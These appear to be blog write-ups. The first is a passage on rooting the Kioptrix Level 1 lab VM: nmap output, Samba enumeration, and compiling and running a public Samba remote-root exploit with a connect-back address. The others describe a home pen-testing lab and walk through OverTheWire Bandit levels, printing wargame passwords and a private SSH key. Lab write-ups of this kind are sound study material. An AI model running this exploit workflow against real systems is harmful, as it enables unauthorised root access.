139/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   syn-ack ttl 64 Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-06-29T09:36:29+00:00; +1m48s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
1024/tcp open  status      syn-ack ttl 64 1 (RPC #100024)
MAC Address: 00:0C:29:6C:8E:27 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
TCP/IP fingerprint:
OS:SCAN(V=7.40%E=4%D=6/29%OT=22%CT=1%CU=35379%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=5954CA0B%P=x86_64-pc-linux-gnu)SEQ(SP=C6%GCD=1%ISR=CF%TI=Z%CI=Z%II=I%T
OS:S=7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=
OS:M5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=1
OS:6A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST11
OS:NW0%RD=0%Q=)T4(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=FF
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=FF%IPL=164
OS:%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=FF%CD=S)

Uptime guess: 0.024 days (since Thu Jun 29 02:01:09 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=198 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: mean: 1m47s, deviation: 0s, median: 1m47s
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: < unknown>, NetBIOS MAC: < unknown> (unknown)
| Names:
|   KIOPTRIX<00>         Flags: < unique>< active>
|   KIOPTRIX<03>         Flags: < unique>< active>
|   KIOPTRIX<20>         Flags: < unique>< active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: < group>< active>
|   MYGROUP<00>          Flags: < group>< active>
|   MYGROUP<1d>          Flags: < unique>< active>
|   MYGROUP<1e>          Flags: < group>< active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 57564/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 32125/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 25278/udp): CLEAN (Failed to receive data)
|   Check 4 (port 26295/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

TRACEROUTE
HOP RTT     ADDRESS
1   0.25 ms 192.168.8.140

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 29 02:36:11 2017 -- 1 IP address (1 host up) scanned in 107.87 seconds

Port 80 was open, but I did not find anything interesting on there. I moved on to enumerate port 139 with enum4linux and I was able to find the service version for samba.

root@kali:~/oscp# 
 ======================================= 
|    OS information on 192.168.8.140    |
 ======================================= 
[+] Got OS info for 192.168.8.140 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for 192.168.8.140 from srvinfo:
    KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
    platform_id     :   500
    os version      :   4.5
    server type     :   0x9a03

I checked searchsploit for Samba exploits and found one. I copied it to /root, compiled and executed it. It worked and resulted in a root shell.

root@kali:~# searchsploit -m 10
Exploit: Samba 2.2.8 - Remote Code Execution
    URL: https://www.exploit-db.com/exploits/10/
   Path: /usr/share/exploitdb/platforms/linux/remote/10.c

Copied to '/root/'

root@kali:~# gcc -o samba 10.c
root@kali:~# chmod 755 samba
root@kali:~# ./samba -b 0 -c 192.168.8.141 192.168.8.140
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
ls
whoami
root

Penetration Testing Lab

2017-04-14T00:00:00+00:00

This lab contains 4 network segments: Bridged, Management, IPS1 and IPS2

There are 5 VMs hosted on a VMware ESXi workstation

VMs

pfSense
Kali Linux
SIEM (Ubuntu Server 16.04 running Splunk)
IPS (Ubuntu Server 16.04 running Snort)
Metasploitable 2

Network Segments

Bridged

Home Workstation

Management

SIEM and IPS interface

IPS 1

Kali and IPS interface 1

IPS 2

Metasploitable 2 and IPS interface 2

Overthewire Bandit Writeup

2017-03-27T20:30:00+00:00

Intro

Bandit is a wargame that is often the starting point for beginners. It gives you a chance to learn the basics of getting around a linux OS

Lvl 0-1

In the very first level you simply use the ls command to view files in the specified directory. You also use the cat command to read files.

bandit0@melissa:~$ ls
readme
bandit0@melissa:~$ cat readme

Lvl 1-2

The password is stored in a file called - so we must locate it and read it. Since its a special character, we must use cat with the directory indicator.

bandit1@melissa:~$ ls
-
bandit1@melissa:~$ cat ~/-

Lvl 2-3

The password is located in a file called spaces in this filename so we located it with ls and because there are spaces in the file name we must read it as such: cat spaces\ in\ this\ filename

bandit2@melissa:~$ ls
spaces in this filename
bandit2@melissa:~$ cat spaces\ in\ this\ filename

Lvl 3-4

The password file was in a hidden directory so we had to use ls -al to list all files in the directory.

bandit3@melissa:~$ ls -al
drwxr-xr-x 3 root root 4096 Nov 14 2014 .
drwxr-xr-x 172 root root 4096 Jul 10 2016 ..
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
drwxr-xr-x 2 root root 4096 Nov 14 2014 inhere
bandit3@melissa:~$ cd inhere
bandit3@melissa:~/inhere$ ls -al
drwxr-xr-x 2 root root 4096 Nov 14 2014 .
drwxr-xr-x 3 root root 4096 Nov 14 2014 ..
-rw-r----- 1 bandit4 bandit3 33 Nov 14 2014 .hidden
bandit3@melissa:~/inhere$ cat .hidden

Lvl 4-5

Within the inhere directory the password is stored in the only human-readable file. I used the file command to display the file data types and locate the password.

bandit4@melissa:~$ ls
inhere
bandit4@melissa:~$ file inhere/*
inhere/-file00: data
inhere/-file01: data
inhere/-file02: data
inhere/-file03: data
inhere/-file04: data
inhere/-file05: data
inhere/-file06: data
inhere/-file07: ASCII text
inhere/-file08: data
inhere/-file09: data
bandit4@melinda:~$ cat inhere/-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Lvl 5-6

Within the inhere directory the password is stored in the only human-readable file. I used the file command to display the file data types and locate the password.

bandit5@melissa:~$ ls
inhere
bandit5@melinda:~$ ls
inhere
bandit5@melinda:~$ cd inhere/
bandit5@melinda:~/inhere$ ls -al
total 88
drwxr-x--- 22 root bandit5 4096 Nov 14  2014 .
drwxr-xr-x  3 root root    4096 Nov 14  2014 ..
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere00
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere01
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere02
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere03
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere04
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere05
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere06
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere07
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere08
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere09
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere10
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere11
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere12
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere13
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere14
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere15
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere16
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere17
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere18
drwxr-x---  2 root bandit5 4096 Nov 14  2014 maybehere19
bandit5@melinda:~/inhere$ find . -size 1033c -readable ! -executable
./maybehere07/.file2
bandit5@melinda:~/inhere$

Lvl 6-7

The file is somewhere on the server so I used find and filtered the STDERR output by sending it to /dev/null. As a result, only the successful results are displayed.

bandit6@melinda:~$ find / -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@melinda:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Lvl 7-8

The password is stored next to the word 'millionth' in the data.txt file.

bandit7@melinda:~$ cat data.txt | grep "millionth"
millionth       cvX2JJa4CFALtqS87jk27qwqGhBM9plV
bandit7@melinda:~$

Lvl 8-9

The password is the only line of text that occurs once in data.txt. A simple pipe of cat, sort, and uniq will do the job.

bandit8@melinda:~$ cat data.txt | sort | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit8@melinda:~$

Lvl 9-10

"The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters"

bandit9@melinda:~$ strings data.txt | grep "=="
I========== the6
========== password
========== ism
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
bandit9@melinda:~$

Lvl 10-11

'The password for the next level is stored in the file data.txt, which contains base64 encoded data'

bandit10@melinda:~$ base64 -d data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Lvl 11-12

'The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions'

bandit11@melinda:~$ tr a-zA-Z n-za-mN-ZA-M < data.txt
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Lvl 12-13

"The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv"

bandit12@melinda:~$ mkdir /tmp/mario
bandit12@melinda:~$ cd /tmp/mario
bandit12@melinda:~$ cp /home/bandit12/data.txt ./
bandit12@melinda:~$ xxd -r data.txt > d1 | file d1
d1: gzip compressed data, was "data2.bin", from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/mario$ mv d1 d1.gz && gzip -d d1.gz
bandit12@melinda:~$ file d1
d1: bzip2 compressed data, block size = 900k
bandit12@melinda:~$ bzip2 -d d1
bzip2: Can't guess original name for d1 -- using d1.out
bandit12@melinda:/tmp/mario$ file d1.out
d1.out: gzip compressed data, was "data4.bin", from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/mario$ mv d1.out d1.gz && gzip -d d1.gz | file d1
d1: POSIX tar archive (GNU)
bandit12@melinda:/tmp/mario$ tar -xvf d1
data5.bin
bandit12@melinda:/tmp/mario$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/mario$ tar -xvf data5.bin
data6.bin
bandit12@melinda:/tmp/mario$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@melinda:/tmp/mario$ bzip2 -d data6.bin
bzip2: Can't guess original name for data6.bin -- using data6.bin.out
bandit12@melinda:/tmp/mario$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@melinda:/tmp/mario$ tar -xvf data6.bin.out
data8.bin
bandit12@melinda:/tmp/mario$ mv data8.bin data8.gz && gzip -d data8.gz
bandit12@melinda:/tmp/mario$ file data8
data8: ASCII text
bandit12@melinda:/tmp/mario$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Lvl 13-14

'The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on'

bandit13@melinda:~$ ls
sshkey.private
bandit13@melinda:~$ ssh -i sshkey.private bandit14@localhost
Could not create directory '/home/bandit13/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6.
Are you sure you want to continue connecting (yes/no)? yes

bandit14@melinda:~$ cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Lvl 14-15

'The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.'

bandit14@melinda:~$ echo '4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e' | nc localhost 30000Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Lvl 15-16

'The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.'

bandit15@melinda:~$ openssl s_client -ign_eof -connect localhost:30001
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC3jCCAcagAwIBAgIJAI5QiWZw4YHbMA0GCSqGSIb3DQEBCwUAMCcxJTAjBgNV
BAMTHGxpMTkwLTI1MC5tZW1iZXJzLmxpbm9kZS5jb20wHhcNMTQxMTE0MTAyODA0
WhcNMjQxMTExMTAyODA0WjAnMSUwIwYDVQQDExxsaTE5MC0yNTAubWVtYmVycy5s
aW5vZGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsKmy9o5z
WU+1EH7Z3bB5TGQA+16zXDcEJy6tZWZ8CDrRyQXiahendp45BWUc/ZuLDo0+B3Wt
ZXjofmLw/F4fmR+8X1s1fQZX2dFt920qEm7LxqzWd0c7FdHiBwwRrwhkk+3cQpOB
TTGdLWEgpdmwwNZDTUdsDLzjDczPnju6T6p6ArTECztPbmTjfY4QIRtC6capL1Z+
yPJSQVAuAMEX1wTDWTGdm0VV7oW4F5cGZutf6QAP51jdhSyZuGilIPHbnj0l6Qc7
a7+OtEsEGi31aJ8KpRf7LNZ7DXCuoB3Hf75Pd6VjDgoOIagcH0NYqa75gEjBkGzs
ktLWykT7ag7fKwIDAQABow0wCzAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBCwUAA4IB
AQCaZdUNAj8WDEKWdoU3LNXUBJlTJwiWBrh550PbHSQORcCz2K0kiMei1A4ojK2N
dMHFGAqAeUEaxtz92p2BoFpZasAtdSa3u63tBckFhfUolIS1TC7Cj51y19ysTeep
fGPFpuPCVqVPsruei8Z/iqn3bFIhQQdmumeePZQdPMwZSWHNVYC5XODd7PvNDrDu
5MZJjkz4+6LbwwAvyew62meFN2QEsYbK2Brtbhze+IjE27FGWlSw4K3jlwa409MD
MTf4JU41ELaYY8G/LSNDJsBVhhkHzvXR9iCbXxNz3IL0dQDNj7h4LKhBy0q7hvqg
kDzwlmBO4WKSmCAuky44cXmd
-----END CERTIFICATE-----
subject=/CN=li190-250.members.linode.com
issuer=/CN=li190-250.members.linode.com
---
No client certificate CA names sent
---
SSL handshake has read 1714 bytes and written 637 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv3
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: 5FF52BC376690852AAB74A7AF1019C75CA4DC769EDEEEE901889EDFD8E4AB23E
    Session-ID-ctx:
    Master-Key: F9F0D2B2D75B33339DE861F178346C255780ADC3D921701421E13AE63E66BF55EEEB633BC53528FC124335BBF51E6304
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1493709386
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

read:errno=0

We used -ign_eof to bypass "HEARTBEATING" and "read R BLOCK"

Lvl 16-17

'The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.'

bandit16@melinda:~$ nmap -sV -p 31000-32000 localhost

Starting Nmap 6.40 ( http://nmap.org ) at 2017-05-02 07:22 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00027s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE VERSION
31046/tcp open  echo
31518/tcp open  msdtc   Microsoft Distributed Transaction Coordinator (error)
31691/tcp open  echo
31790/tcp open  msdtc   Microsoft Distributed Transaction Coordinator (error)
31960/tcp open  echo
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.20 seconds

bandit16@melinda:~$ openssl s_client -connect localhost:31518
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC3jCCAcagAwIBAgIJAI5QiWZw4YHbMA0GCSqGSIb3DQEBCwUAMCcxJTAjBgNV
BAMTHGxpMTkwLTI1MC5tZW1iZXJzLmxpbm9kZS5jb20wHhcNMTQxMTE0MTAyODA0
WhcNMjQxMTExMTAyODA0WjAnMSUwIwYDVQQDExxsaTE5MC0yNTAubWVtYmVycy5s
aW5vZGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsKmy9o5z
WU+1EH7Z3bB5TGQA+16zXDcEJy6tZWZ8CDrRyQXiahendp45BWUc/ZuLDo0+B3Wt
ZXjofmLw/F4fmR+8X1s1fQZX2dFt920qEm7LxqzWd0c7FdHiBwwRrwhkk+3cQpOB
TTGdLWEgpdmwwNZDTUdsDLzjDczPnju6T6p6ArTECztPbmTjfY4QIRtC6capL1Z+
yPJSQVAuAMEX1wTDWTGdm0VV7oW4F5cGZutf6QAP51jdhSyZuGilIPHbnj0l6Qc7
a7+OtEsEGi31aJ8KpRf7LNZ7DXCuoB3Hf75Pd6VjDgoOIagcH0NYqa75gEjBkGzs
ktLWykT7ag7fKwIDAQABow0wCzAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBCwUAA4IB
AQCaZdUNAj8WDEKWdoU3LNXUBJlTJwiWBrh550PbHSQORcCz2K0kiMei1A4ojK2N
dMHFGAqAeUEaxtz92p2BoFpZasAtdSa3u63tBckFhfUolIS1TC7Cj51y19ysTeep
fGPFpuPCVqVPsruei8Z/iqn3bFIhQQdmumeePZQdPMwZSWHNVYC5XODd7PvNDrDu
5MZJjkz4+6LbwwAvyew62meFN2QEsYbK2Brtbhze+IjE27FGWlSw4K3jlwa409MD
MTf4JU41ELaYY8G/LSNDJsBVhhkHzvXR9iCbXxNz3IL0dQDNj7h4LKhBy0q7hvqg
kDzwlmBO4WKSmCAuky44cXmd
-----END CERTIFICATE-----
subject=/CN=li190-250.members.linode.com
issuer=/CN=li190-250.members.linode.com
---
No client certificate CA names sent
---
SSL handshake has read 1714 bytes and written 637 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv3
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: F95A1961737CC6B01F63693D62DF94467C65A217AD7D53906BCFC1EABA3F1C97
    Session-ID-ctx:
    Master-Key: C668277C716D1501AF29B517E4D1A28BCE7EDDF5C79B9C68A2D44CFE4796EB455AD9C4F444D24A7618A0D3E796D69E30
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1493710060
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
cluFn7wTiGryunymYOu4RcffSxQluehd
cluFn7wTiGryunymYOu4RcffSxQluehd

bandit16@melinda:~$ openssl s_client -connect localhost:31790
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC3jCCAcagAwIBAgIJAI5QiWZw4YHbMA0GCSqGSIb3DQEBCwUAMCcxJTAjBgNV
BAMTHGxpMTkwLTI1MC5tZW1iZXJzLmxpbm9kZS5jb20wHhcNMTQxMTE0MTAyODA0
WhcNMjQxMTExMTAyODA0WjAnMSUwIwYDVQQDExxsaTE5MC0yNTAubWVtYmVycy5s
aW5vZGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsKmy9o5z
WU+1EH7Z3bB5TGQA+16zXDcEJy6tZWZ8CDrRyQXiahendp45BWUc/ZuLDo0+B3Wt
ZXjofmLw/F4fmR+8X1s1fQZX2dFt920qEm7LxqzWd0c7FdHiBwwRrwhkk+3cQpOB
TTGdLWEgpdmwwNZDTUdsDLzjDczPnju6T6p6ArTECztPbmTjfY4QIRtC6capL1Z+
yPJSQVAuAMEX1wTDWTGdm0VV7oW4F5cGZutf6QAP51jdhSyZuGilIPHbnj0l6Qc7
a7+OtEsEGi31aJ8KpRf7LNZ7DXCuoB3Hf75Pd6VjDgoOIagcH0NYqa75gEjBkGzs
ktLWykT7ag7fKwIDAQABow0wCzAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBCwUAA4IB
AQCaZdUNAj8WDEKWdoU3LNXUBJlTJwiWBrh550PbHSQORcCz2K0kiMei1A4ojK2N
dMHFGAqAeUEaxtz92p2BoFpZasAtdSa3u63tBckFhfUolIS1TC7Cj51y19ysTeep
fGPFpuPCVqVPsruei8Z/iqn3bFIhQQdmumeePZQdPMwZSWHNVYC5XODd7PvNDrDu
5MZJjkz4+6LbwwAvyew62meFN2QEsYbK2Brtbhze+IjE27FGWlSw4K3jlwa409MD
MTf4JU41ELaYY8G/LSNDJsBVhhkHzvXR9iCbXxNz3IL0dQDNj7h4LKhBy0q7hvqg
kDzwlmBO4WKSmCAuky44cXmd
-----END CERTIFICATE-----
subject=/CN=li190-250.members.linode.com
issuer=/CN=li190-250.members.linode.com
---
No client certificate CA names sent
---
SSL handshake has read 1714 bytes and written 637 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv3
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: 08EDF6C0875162325755219F73225528C2550355101C7FF3333247A105BDD79F
    Session-ID-ctx:
    Master-Key: 2FD99FF8C31F14D1780A7D7136E42E253E6E15AD9975294F54B27BDF9E06CCEE04DC339E80B41D084E060A748A225223
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1493710105
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

read:errno=0
bandit16@melinda:~$ mkdir /tmp/key
mkdir: cannot create directory '/tmp/key': File exists
bandit16@melinda:~$ cd /tmp/key
bandit16@melinda:/tmp/key$ touch sshkey.private
bandit16@melinda:/tmp/key$ vim sshkey.private
bandit16@melinda:/tmp/key$ ssh -i sshkey.private bandit17@localhost
Could not create directory '/home/bandit16/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit16/.ssh/known_hosts).

The echo ports aren't what we're looking for so we try to connect to port 31518 and 31790.

Lvl 17-18

'There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new'

bandit17@melinda:~$ diff passwords.new passwords.old
42c42
 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
 BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR

We want the top password because that's the one from the passwords.new file.

Lvl 18-19

'The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.'

$ ssh -t bandit18@bandit.labs.overthewire.org bash --norc

This is the OverTheWire game server. More information on http://www.overthewire.org/wargames

Please note that wargame usernames are no longer level<X>, but wargamename<X>
e.g. vortex4, semtex2, ...

Note: at this moment, blacksun is not available.

